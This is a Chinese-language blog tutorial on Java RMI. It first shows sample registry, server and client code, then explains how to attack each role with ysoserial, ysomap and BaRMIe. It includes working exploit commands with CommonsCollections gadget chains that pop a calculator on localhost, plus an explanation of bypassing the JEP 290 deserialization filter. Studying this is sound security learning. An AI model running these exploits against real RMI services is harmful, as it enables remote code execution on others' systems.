RMI 利用详解

本文最后更新于:1 小时前

JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。
工具利用: BaRMIeysomapysoserial

探测rmi服务:
java -jar BaRMIe_v1.01.jar -enum 127.0.0.1 9527

RMI调用逻辑

RMI分为三部分

  • RMI Registry注册中心
  • RMI Client 客户端
  • RMI Server服务端

RMI实现

注册中心代码

  1. 创建一个继承java.rmi.Remote的接口

    public interface HelloInterface extends java.rmi.Remote {
        public String sayHello(String from) throws java.rmi.RemoteException;
    }
    
  2. 创建注册中心代码

    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    
    public class Registry {
        public static void main(String[] args) {
            try {
                LocateRegistry.createRegistry(1099);
            } catch (RemoteException e) {
                e.printStackTrace();
            }
            while (true) ;
        }
    }
    

服务端代码

  1. 创建一个接口(继承java.rmi.Remote)

    public interface HelloInterface extends java.rmi.Remote {
        public String sayHello(String from) throws java.rmi.RemoteException;
    }
    
  2. 实现上面的接口,继承UnicastRemoteObject类.

    public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
        public HelloImpl() throws java.rmi.RemoteException {
            super();
        }
    
        public String sayHello(String from) throws java.rmi.RemoteException {
            System.out.println("Hello from " + from + "!!");
            return "sayHello";
        }
    }
    
  3. 服务端的启动类,创建远程对象注册表和注册远程对象

    public class HelloServer {
        public static void main(String[] args) {
            try {
                Registry registry = LocateRegistry.getRegistry(1099);
                registry.bind("hello", new HelloImpl());
            } catch (RemoteException e) {
                e.printStackTrace();
            } catch (AlreadyBoundException e) {
                e.printStackTrace();
            }
        }
    }
    

Tips:服务器端和注册端也是可以写在一起的。

客户端代码

  1. 创建接口类

    public interface HelloInterface extends java.rmi.Remote {
        public String sayHello(String from) throws java.rmi.RemoteException;
    }
    
  2. 连接注册服务 查找hello对象

    public class HelloClient {
        public static void main(String[] args) {
            try {
                Registry registry = LocateRegistry.getRegistry(1099);
                HelloInterface hello = (HelloInterface) registry.lookup("hello");
                System.out.println(hello.sayHello("flag"));
            } catch (NotBoundException | RemoteException e) {
                e.printStackTrace();
            }
        }
    }
    

攻击方法

注册中心—服务端—客户端,都可以互相打。
内容很多,下面总结常用的。

客户端攻击注册中心

  1. 直接启动上面的注册中心代码
  2. 借助ysoserial项目JRMPClient攻击注册中心命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections5 "open -a calculator.app"

RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期。
ysoserial的exploit.JRMPClient通过与DGC通信的方式发送恶意payload让注册中心反序列化。

JEP290绕过

在JDK6u141、JDK7u131、JDK 8u121加入了JEP 290限制。JDK分别为RMI注册表RMI分布式垃圾收集器(DGC)提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。
再用上面的命令打就会爆下面的错误:

ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler......

从白名单类中,可以利用UnicastRef.class 这个白名单类新建一个RMI连接请求,来绕过JEP290的限制。

利用方式

ysoserial payload 中的JRMPClient利用的UnicastRef和DGC,可以对指定的RMI Registry发起请求,并且在白名单列表里面。但是ysoserial只能生成payload,我们还得自己发请求。
这里使用ysomap,其中的RMIRegistryExploit 模块即可利用(JDK版本低于8u232_b9都可以打)。

  1. 先用ysoserial启动RMI registry,等待目标连接

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"

  2. ysomap中指定目标RMI registry的地址和端口,并在bullet模块中指定我们的ysoserial启动的RMI registry地址。run之后便可看到目标弹出计算器。

用Object绕JEP290限制(第二种绕过方式)

JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。
它的利用条件还是比较苛刻的。还需要知道服务端接口方法和
它的参数具体情况。上面的绕过方式已经可以利用了,所以在此不记录。如有兴趣了解点击

服务端攻击注册中心

利用ysoserial 中的RMIRegistryExploit模块:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "open -a calculator.app"

序列化的是AnnotationInvocationHandler类,不在白名单,所以受JEP290限制。
自问自答:
在默认情况下,服务端向注册端进行bind等操作,是会验证服务端地址是否被注册端允许的(默认是只信任本机地址)。在上面利用过程中,攻击者(服务端)都不是受害者(注册端)的信任地址,为何没有被这个验证机制所拦截呢?
因为这个注册端对于服务端的验证在反序列化操作之后。

服务端攻击客户端

ysoserial起一个JRMP服务端:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"
目标那边直接lookup这个地址就行。

客户端任意jdk版本均可成功。

参考:

针对RMI服务的九重攻击 - 上 - 先知社区

针对RMI服务的九重攻击 - 下 - 先知社区

JAVA RMI 反序列化知识详解


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!